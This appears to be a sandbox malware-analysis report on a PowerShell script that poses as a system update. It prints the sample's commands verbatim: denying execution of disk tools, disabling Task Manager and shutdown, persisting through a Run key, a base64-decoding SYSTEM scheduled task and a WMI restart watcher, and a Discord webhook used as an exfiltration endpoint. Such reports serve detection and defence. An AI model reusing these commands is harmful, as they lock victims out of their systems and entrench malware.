1e4388c45e8b07ca77b7e3b59fc1152b6c74668aad15df1e9230489b5ab3b827

Analysis

max time kernel
26s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
19/06/2026, 20:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
target.ps1
Size 12KB
Sample260619-yr7h4sbs8l
SHA256 1e4388c45e8b07ca77b7e3b59fc1152b6c74668aad15df1e9230489b5ab3b827
MD5 4c47e1405c6fa862f6cda3b2d2a82469
SHA1 3966cd1be2209ebceb1a8827cfaa4cac4f357d58
SHA512 62b47860e2a8dfe89cd7270c12b156532fe7f18771553e75401c47105ca4dc93cf4149cb043d36a165cde5f8bcbfe8445795ffedcd8bf7a6cd8f84e3ffb67c52
SSDEEP 192:IxpsFtt8sPbKr0wsJThJ1mrLLqmNtoiuVm/1/RxCCWEKM3uCCr597AH14EM1f:IfUt8wKr0n80PVm/vxBWEKAuBr5RAHi
TLSH
T1B54283517A24A266CAF2DF3AD8D7E506DF6F503B11629A0039ACD090BF71166C338BC9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution exploit persistence

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://discord.com/api/webhooks/1517617235458396332/8x5Z8fIvZEa17_4ju_jle3I3XrxTk4jUoZlAnGuNiiKeW-HDZ1T1kzcba-vkbCOZYdVi

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4940	PowerShell.exe
4776	powershell.exe
1492	powershell.exe
2788	powershell.exe

Possible privilege escalation attempt 14 IoCs

exploit

pid	Process
712	takeown.exe
4404	takeown.exe
2004	icacls.exe
1244	icacls.exe
1256	icacls.exe
4936	icacls.exe
2060	takeown.exe
2076	takeown.exe
1712	icacls.exe
3064	icacls.exe
4072	takeown.exe
4316	icacls.exe
2764	takeown.exe
4916	takeown.exe

Modifies file permissions 1 TTPs 14 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2764	takeown.exe
2004	icacls.exe
1244	icacls.exe
1256	icacls.exe
4936	icacls.exe
4072	takeown.exe
4316	icacls.exe
4916	takeown.exe
712	takeown.exe
2076	takeown.exe
4404	takeown.exe
2060	takeown.exe
1712	icacls.exe
3064	icacls.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemUpdate = "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File \"C:\\ProgramData\\Microsoft\\Windows\\SystemUpdate\\SysUpdate.ps1\""	PowerShell.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4728	schtasks.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4940	PowerShell.exe
4940	PowerShell.exe
4776	powershell.exe
4776	powershell.exe
4776	powershell.exe
1492	powershell.exe
1492	powershell.exe
2788	powershell.exe
2788	powershell.exe
1492	powershell.exe
2788	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4940	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	4940	PowerShell.exe
Token: SeSecurityPrivilege	4940	PowerShell.exe
Token: SeTakeOwnershipPrivilege	4940	PowerShell.exe
Token: SeLoadDriverPrivilege	4940	PowerShell.exe
Token: SeSystemProfilePrivilege	4940	PowerShell.exe
Token: SeSystemtimePrivilege	4940	PowerShell.exe
Token: SeProfSingleProcessPrivilege	4940	PowerShell.exe
Token: SeIncBasePriorityPrivilege	4940	PowerShell.exe
Token: SeCreatePagefilePrivilege	4940	PowerShell.exe
Token: SeBackupPrivilege	4940	PowerShell.exe
Token: SeRestorePrivilege	4940	PowerShell.exe
Token: SeShutdownPrivilege	4940	PowerShell.exe
Token: SeDebugPrivilege	4940	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	4940	PowerShell.exe
Token: SeRemoteShutdownPrivilege	4940	PowerShell.exe
Token: SeUndockPrivilege	4940	PowerShell.exe
Token: SeManageVolumePrivilege	4940	PowerShell.exe
Token: 33	4940	PowerShell.exe
Token: 34	4940	PowerShell.exe
Token: 35	4940	PowerShell.exe
Token: 36	4940	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	4940	PowerShell.exe
Token: SeSecurityPrivilege	4940	PowerShell.exe
Token: SeTakeOwnershipPrivilege	4940	PowerShell.exe
Token: SeLoadDriverPrivilege	4940	PowerShell.exe
Token: SeSystemProfilePrivilege	4940	PowerShell.exe
Token: SeSystemtimePrivilege	4940	PowerShell.exe
Token: SeProfSingleProcessPrivilege	4940	PowerShell.exe
Token: SeIncBasePriorityPrivilege	4940	PowerShell.exe
Token: SeCreatePagefilePrivilege	4940	PowerShell.exe
Token: SeBackupPrivilege	4940	PowerShell.exe
Token: SeRestorePrivilege	4940	PowerShell.exe
Token: SeShutdownPrivilege	4940	PowerShell.exe
Token: SeDebugPrivilege	4940	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	4940	PowerShell.exe
Token: SeRemoteShutdownPrivilege	4940	PowerShell.exe
Token: SeUndockPrivilege	4940	PowerShell.exe
Token: SeManageVolumePrivilege	4940	PowerShell.exe
Token: 33	4940	PowerShell.exe
Token: 34	4940	PowerShell.exe
Token: 35	4940	PowerShell.exe
Token: 36	4940	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	4940	PowerShell.exe
Token: SeSecurityPrivilege	4940	PowerShell.exe
Token: SeTakeOwnershipPrivilege	4940	PowerShell.exe
Token: SeLoadDriverPrivilege	4940	PowerShell.exe
Token: SeSystemProfilePrivilege	4940	PowerShell.exe
Token: SeSystemtimePrivilege	4940	PowerShell.exe
Token: SeProfSingleProcessPrivilege	4940	PowerShell.exe
Token: SeIncBasePriorityPrivilege	4940	PowerShell.exe
Token: SeCreatePagefilePrivilege	4940	PowerShell.exe
Token: SeBackupPrivilege	4940	PowerShell.exe
Token: SeRestorePrivilege	4940	PowerShell.exe
Token: SeShutdownPrivilege	4940	PowerShell.exe
Token: SeDebugPrivilege	4940	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	4940	PowerShell.exe
Token: SeRemoteShutdownPrivilege	4940	PowerShell.exe
Token: SeUndockPrivilege	4940	PowerShell.exe
Token: SeManageVolumePrivilege	4940	PowerShell.exe
Token: 33	4940	PowerShell.exe
Token: 34	4940	PowerShell.exe
Token: 35	4940	PowerShell.exe
Token: 36	4940	PowerShell.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 4940 wrote to memory of 2572	4940	PowerShell.exe	82
PID 4940 wrote to memory of 1100	4940	PowerShell.exe	84
PID 4940 wrote to memory of 5044	4940	PowerShell.exe	86
PID 4940 wrote to memory of 1600	4940	PowerShell.exe	88
PID 4940 wrote to memory of 864	4940	PowerShell.exe	90
PID 4940 wrote to memory of 2188	4940	PowerShell.exe	91
PID 4940 wrote to memory of 4052	4940	PowerShell.exe	94
PID 4940 wrote to memory of 3700	4940	PowerShell.exe	96
PID 4940 wrote to memory of 1788	4940	PowerShell.exe	97
PID 4940 wrote to memory of 3176	4940	PowerShell.exe	100
PID 2572 wrote to memory of 2764	2572	cmd.exe	102
PID 1100 wrote to memory of 4916	1100	cmd.exe	103
PID 4940 wrote to memory of 4776	4940	PowerShell.exe	104
PID 5044 wrote to memory of 2076	5044	cmd.exe	106
PID 1600 wrote to memory of 712	1600	cmd.exe	107
PID 2188 wrote to memory of 2060	2188	cmd.exe	108
PID 4940 wrote to memory of 916	4940	PowerShell.exe	110
PID 864 wrote to memory of 4404	864	cmd.exe	109
PID 4940 wrote to memory of 5016	4940	PowerShell.exe	112
PID 4052 wrote to memory of 4084	4052	cmd.exe	113
PID 1788 wrote to memory of 4792	1788	cmd.exe	114
PID 4940 wrote to memory of 1492	4940	PowerShell.exe	116
PID 1100 wrote to memory of 2004	1100	cmd.exe	117
PID 2572 wrote to memory of 1244	2572	cmd.exe	119
PID 1600 wrote to memory of 1712	1600	cmd.exe	120
PID 4940 wrote to memory of 2788	4940	PowerShell.exe	121
PID 5044 wrote to memory of 1256	5044	cmd.exe	122
PID 3700 wrote to memory of 1504	3700	cmd.exe	123
PID 2188 wrote to memory of 3064	2188	cmd.exe	125
PID 864 wrote to memory of 4936	864	cmd.exe	126
PID 3176 wrote to memory of 3220	3176	cmd.exe	127
PID 916 wrote to memory of 4072	916	cmd.exe	128
PID 5016 wrote to memory of 4728	5016	cmd.exe	129
PID 916 wrote to memory of 4316	916	cmd.exe	130

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\target.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4940
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskpart.exe" && icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2572
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\diskpart.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2764
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\diskpart.exe" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1244
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\format.com" && icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1100
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\format.com"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4916
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\format.com" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2004
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\cleanmgr.exe" && icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5044
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\cleanmgr.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2076
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\cleanmgr.exe" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1256
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\defrag.exe" && icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1600
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\defrag.exe"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:712
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\defrag.exe" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1712
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\diskmgmt.msc" && icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:864
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\diskmgmt.msc"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4404
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\diskmgmt.msc" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4936
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\Windows\System32\compmgmt.msc" && icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2188
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\Windows\System32\compmgmt.msc"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2060
- - C:\Windows\system32\icacls.exe
    icacls "C:\Windows\System32\compmgmt.msc" /deny Everyone:(X)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3064
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4052
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v ShutdownWithoutLogon /t REG_DWORD /d 0 /f
    3⤵
    PID:4084
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3700
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisplayShutdownButton /t REG_DWORD /d 0 /f
    3⤵
    PID:1504
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1788
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:4792
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3176
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
    3⤵
    PID:3220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-Type -TypeDefinition @" using System; using System.Windows.Forms; public class Blocker : Form { protected override void WndProc(ref Message m) { if (m.Msg == 0x11) { m.Result = (IntPtr)0; return; } base.WndProc(ref m); } } "@ -ReferencedAssemblies System.Windows.Forms [Application]::Run(new Blocker())"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4776
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c takeown /f "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" && icacls "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" /grant SYSTEM:F /grant Administrators:F /deny Everyone:(DE,WD,AD)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:916
- - C:\Windows\system32\takeown.exe
    takeown /f "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4072
- - C:\Windows\system32\icacls.exe
    icacls "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" /grant SYSTEM:F /grant Administrators:F /deny Everyone:(DE,WD,AD)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:4316
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c schtasks /create /tn "MicrosoftSystemUpdateRepair" /tr "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command $b64 = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\SystemUpdate' -Name 'ScriptB64' -ErrorAction SilentlyContinue).ScriptB64; if ($b64) { $bytes = [Convert]::FromBase64String($b64); $content = [System.Text.Encoding]::UTF8.GetString($bytes); $dir = 'C:\ProgramData\Microsoft\Windows\SystemUpdate'; if (-not (Test-Path $dir)) { New-Item -Path $dir -ItemType Directory -Force | Out-Null }; $path = Join-Path $dir 'SysUpdate.ps1'; if (-not (Test-Path $path)) { Set-Content -Path $path -Value $content -Force; Start-Process -WindowStyle Hidden -FilePath powershell -ArgumentList "-WindowStyle Hidden -ExecutionPolicy Bypass -File "$path"" } }" /sc minute /mo 1 /ru SYSTEM /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5016
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "MicrosoftSystemUpdateRepair" /tr "powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Register-WmiEvent -Query "SELECT * FROM Win32_ProcessStopTrace WHERE ProcessName='powershell.exe'" -Action { if ($Event.SourceEventArgs.NewEvent.ProcessName -eq 'powershell') { Start-Process -WindowStyle Hidden -FilePath powershell -ArgumentList "-File "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1" -keep" } }"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:1492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -File "C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2788

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

SysUpdate.ps1

Path C:\ProgramData\Microsoft\Windows\SystemUpdate\SysUpdate.ps1
Size 12KB
SHA256 1e4388c45e8b07ca77b7e3b59fc1152b6c74668aad15df1e9230489b5ab3b827
MD5 4c47e1405c6fa862f6cda3b2d2a82469
SHA1 3966cd1be2209ebceb1a8827cfaa4cac4f357d58
SHA512 62b47860e2a8dfe89cd7270c12b156532fe7f18771553e75401c47105ca4dc93cf4149cb043d36a165cde5f8bcbfe8445795ffedcd8bf7a6cd8f84e3ffb67c52
SSDEEP 192:IxpsFtt8sPbKr0wsJThJ1mrLLqmNtoiuVm/1/RxCCWEKM3uCCr597AH14EM1f:IfUt8wKr0n80PVm/vxBWEKAuBr5RAHi
TLSH
T1B54283517A24A266CAF2DF3AD8D7E506DF6F503B11629A0039ACD090BF71166C338BC9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 c214c329303d13ff83687cb29e51cbc21bf7f8c62913248e237690586b2fcb0b
MD5 d19367a2a3dbdf9861ca436f40935c21
SHA1 f8247e408f0cfb265efb264658afe24b2d1c1926
SHA512 186467765cf57710c1a5387842a6d2d8b7ad41d241836245f7aab4e1d1fcac9aa1fcc94954280da8509c6f72b0da9b15796a3371f2275aa1ef79060af9bb32ac
TLSH
T1E881EE323375A0D4C9667F07192C19C463AF4396EA58AF4CB258620ED92710BDB222F7
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e5a5ce80372e47bd8556c877d7714afddc589e97d5e68e87c73302f95aae2cc8
MD5 7a37cf8ae65309320d614edacacc9302
SHA1 537f15c48ee9a28f77942c3cd8c4c1fbd5b86e38
SHA512 ccd7af94b8193650c5f659d754d540b6e85f1a4c4300fdadb2eeea675e1728a2cb718ae0bfdceb1fd7477934bb5265b61389c30384ef49fd6f42e2e3b0643a52
TLSH
T155217933B3ACC565C8D9117A209CAD00B2B5C3C7449ECF8B6B84C219957FAEADB645A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 879168639dd23660e221bb6b055bc87bfcfb98568d5f40ac9442b95921865e24
MD5 aba0fc6b5a11520812dc8cfdd6b15754
SHA1 aa8905efbdd9a72607532d994f81541494577af4
SHA512 292e2719262c65eee89493393aacce6002f2d23b09a43b619719f277cd9e032749ad69e8742eb3d4d0b780a25cc1722e437195289c37ad1b5198139a49c4710a
TLSH
T141115733B79CC134C8D9157A1088AD01B2B1C7DB009EDE9B7A84C119E57F99AEB642A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 4518fb6ffb3f70be78cb243cac94fcf74d9c58d2e7bd8c510ebe696d3f81cb60
MD5 b6c336e3b3cb2cd04d42baac1aa4aa0d
SHA1 35a943816f3e9cd596e91be92c4bdb1b05a42d88
SHA512 42c4a8f07051ac7c00014ddaa0b0db50bdbcb49a30ae96803e37f3a566c100932367e0a50baead881509ae4a4d49c769513626c5015fe0a02d1d3ae22ca759f4
TLSH
T1F4116633B78CC034C899057A108CAE01B1B4C3CB049FDE8B7A84C105E57F98AEB941E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_zf4zt1mh.odg.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zf4zt1mh.odg.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4940-19-0x0000015BD90E0000-0x0000015BD90EA000-memory.dmp

Download

memory/4940-18-0x0000015BD9020000-0x0000015BD90D3000-memory.dmp

Download

memory/4940-0-0x0000015BBE0B0000-0x0000015BBE0C0000-memory.dmp

Download

memory/4940-20-0x0000015BD9270000-0x0000015BD929A000-memory.dmp

Download

memory/4940-21-0x0000015BD9270000-0x0000015BD9294000-memory.dmp

Download

memory/4940-22-0x0000015BBE0B0000-0x0000015BBE0C0000-memory.dmp

Download

memory/4940-23-0x0000015BBE0B0000-0x0000015BBE0C0000-memory.dmp

Download

memory/4940-17-0x0000015BD9000000-0x0000015BD901C000-memory.dmp

Download

memory/4940-10-0x00007FF4B9590000-0x00007FF4B95A0000-memory.dmp

Download

memory/4940-9-0x0000015BBE0B0000-0x0000015BBE0C0000-memory.dmp

Download

memory/4940-7-0x0000015BD8C10000-0x0000015BD8C32000-memory.dmp

Download

memory/4940-1-0x0000015BBE0B0000-0x0000015BBE0C0000-memory.dmp

Download